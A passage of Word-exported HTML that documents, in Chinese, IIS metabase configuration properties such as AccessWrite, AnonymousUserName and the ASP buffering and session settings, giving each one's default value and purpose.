</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设成</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">），某些版本的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Internet Explorer </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将关闭连接。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessSSLRequireCert = False<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> SSL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件访问处理从客户端请求证书。如果客户端没有提供证书，连接会关闭。当使用</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessSSLRequireCert </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">时，必须将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessSSLNegotiateCert </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设成</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessWrite = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示允许用户将文件及其相关属性上载到服务器上已启用的目录中，或者更改可写文件的内容。只有使用支持</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> HTTP 1.1 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">协议标准的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> PUT </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">功能的浏览器，才能执行写入操作。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AdminACLBin =<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">由</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Microsoft® Exchange Server </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">使用</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AnonymousPasswordSync = True<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指出</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">是否应该为试图访问资源的匿名用户处理用户密码。下表列出了该属性行为的详细说明：如果将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AnonymousPasswordSync </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，管理员必须手动设置匿名用户密码的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AnonymousUserPass </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性；否则匿名访问将无法正常工作。</SPAN><FONT face="Times New Roman"> </FONT><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">如果将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AnonymousPasswordSync </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，将由</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置匿名用户密码。</SPAN><FONT face="Times New Roman"> </FONT><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">如果将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AnonymousPasswordSync </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">并且配置数据库属性</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AllowAnonymous </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，则不允许任何用户登录到</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> FTP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务器。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AnonymousUserName = IUSR_COMPUTERNAME<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定用来验证匿名用户的已注册的本地用户名。服务器将每个服务器操作与用户名和密码关联起来。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AnonymousUserPass = XXXXXXXXXXXX<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定用来验证匿名用户的已注册的本地用户密码。服务器将每个服务器操作与用户名和密码关联起来。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AppAllowClientDebug = False<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定是否允许客户端调试。该属性与应用于服务器端调试的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AppAllowDebugging </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">无关。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AppAllowDebugging = False<SPAN style="mso-tab-count: 1">&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定是否允许在服务器上进行</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">调试。该属性与应用于客户端调试的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AppAllowClientDebug </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性无关。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AppFriendlyName = </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">默认应用程序</SPAN><SPAN lang=EN-US><SPAN style="mso-tab-count: 1"><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp; </FONT></SPAN></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">软件包或应用程序的用户好记名称</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AppOopRecoverLimit = -1<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">进程外应用程序在出现故障后重新启动的最大次数。服务器不会响应超出该范围的组件请求。该属性不适用于进程内运行的应用程序或扩展。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AppPoolId = ASP.NET V2.0<SPAN style="mso-tab-count: 1">&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序在其中路由的应用程序池</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AppWamClsid =<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">为应用程序的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Web </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序管理</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> (WAM) </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">接口提供类</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ID</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspAllowOutOfProcComponents = True<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IIS 4.0 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中，</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">AspAllowOutOfProcComponents </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性指定是否允许</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">脚本调用进程外组件，这些组件是在应用程序内启动的可执行程序。在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IIS 5.0 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中，该属性已过时，并且属性值将被忽略。但是，使用该属性的脚本仍然可以正常运行。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspAllowSessionState = True<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">启用</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序会话状态持续性。如果将该值设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，那么服务器将为每个连接创建</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Session </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">对象，可访问会话状态，允许会话存储，出现</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Session_OnStart </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Session_OnEnd </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">事件，并且发送</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASPSessionID Cookie </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">到客户端。如果将该值设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，那么不允许状态访问和存储，事件将不进行处理，并且也不发送</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Cookie</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspAppServiceFlags = 0<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包含在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序上启用</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM+ </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务所必须要设置的标志</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspBufferingLimit = 4194304<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">缓冲区的最大大小。如果启动了响应缓冲，该属性将控制在进行刷新前</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">页面可以向响应缓冲区写入的最大字节数</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspBufferingOn = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序的输出是否需要缓冲</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspCalcLineNumber = True<SPAN style="mso-tab-count: 1">&nbsp; </SPAN>ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">是否计算和存储已执行代码的行号，以便在错误报告中提供</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspCodepage = 0<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">为应用程序指定默认的代码页</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspDiskTemplateCacheDirectory = %windir%\system32\inetsrv\ASP Comp<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">目录的名称，该目录是</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在存储器内的缓存溢出后，用来将已编译的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">模板存储到磁盘的目录</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-tab-count: 1"><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT></SPAN></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspEnableApplicationRestart = True<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">确定</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序能否自动重新启动</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspEnableAspHtmlFallback = False<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">当由于请求队列已满而拒绝新的请求时，</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">AspEnableAspHtmlFallback </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性控制</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的行为。将该属性设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，将导致发送与请求的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> .asp </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件名称类似的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> .htm </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件（如果存在），而不是发送</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> .asp </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件。</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">.htm </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件的命名约定是</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> .asp </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件名之后附加一个</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> _asp</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。例如，</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">.asp </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件是</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> hello.asp</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，那么</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> .htm </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件应该是</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> hello_asp.htm</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspEnableChunkedEncoding = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定是否为万维网发布服务（</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">WWW </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务）启动</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> HTTP 1.1 chunked </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">传输编码</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspEnableParentPaths = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">页面是否允许当前目录的相对路径（使用</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ..\ </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示法）。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspEnableSxs = False<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将启动</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM+ </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">并排集合，该程序集允许</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序指定要使用哪个版本的系统</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> DLL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">或传统</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">组件，例如</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> MDAC</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">MFS</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">MSVCRT</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">MSXML </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New 